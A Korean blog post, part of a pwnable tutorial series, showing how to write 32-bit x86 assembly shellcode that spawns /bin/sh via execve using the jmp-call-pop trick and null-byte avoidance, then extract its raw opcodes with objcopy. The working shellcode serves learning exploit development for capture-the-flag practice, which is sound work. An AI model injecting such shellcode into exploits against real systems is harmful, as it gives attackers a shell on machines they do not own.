pwnable/Shellcoding

쉘코딩 (shellcoding) - (2)

범고래_1 2022. 3. 25. 19:52

 

쉘코딩 하는 여러 방법 소개 시리즈 (2)

어셈 코딩하고 opcode만 뽑내는 법

아래 예시는 execve("/bin/sh", ["/bin/sh", 0], 0)

일단 쉘코딩

// gcc -m32 -c -o shellcode.o shellcode.S
#include <sys/syscall.h>

#define STRING  "/bin/sh"
#define STRLEN  7
#define ARGV0   (STRLEN+1)
#define ENVP    (ARGV0+4)

.intel_syntax noprefix
.text

.globl main
.type  main, @function

main:
  jmp     calladdr

popladdr:
  pop    esi                    /* esi points to STRING */
  mov    [ARGV0+esi],esi        /* set up argv[0] pointer to pathname */
  xor    eax,eax                /* get a 32-bit zero value */
  mov    [STRLEN + esi],al      /* null-terminate our string */
  mov    [ENVP + esi], eax      /* set up null envp */

  mov    al,SYS_execve          /* syscall number */
  mov    ebx,esi                /* arg 1: string pathname */
  lea    ecx,[ARGV0 + esi]      /* arg 2: argv */
  lea    edx,[ENVP + esi]       /* arg 3: envp */
  int    0x80                   /* execve("/bin/sh", ["/bin/sh", NULL], [NULL]) */

  xor    ebx,ebx                /* arg 1: 0 */
  mov    eax,ebx
  inc    eax                    /* exit(0) */
  /* mov+inc to avoid null byte */
  int    0x80                   /* invoke syscall */

calladdr:
  call    popladdr
  .string STRING

 

 

objcopy 사용해서 shellcode.bin으로 opcode 뽑기

#!/bin/bash
gcc -m32 -c -o shellcode.o shellcode.S
objcopy -S -O binary -j .text shellcode.o shellcode.bin
rm -rf shellcode.o

'pwnable > Shellcoding' 카테고리의 다른 글

쉘코딩 (shellcoding) - (3)  (0) 2022.06.08
쉘코딩 (shellcoding) - (1)  (0) 2022.03.25
쉘코드 만들기 (asm 코딩)  (0) 2018.12.23
쉘코드 만들기 (직접)  (0) 2018.12.23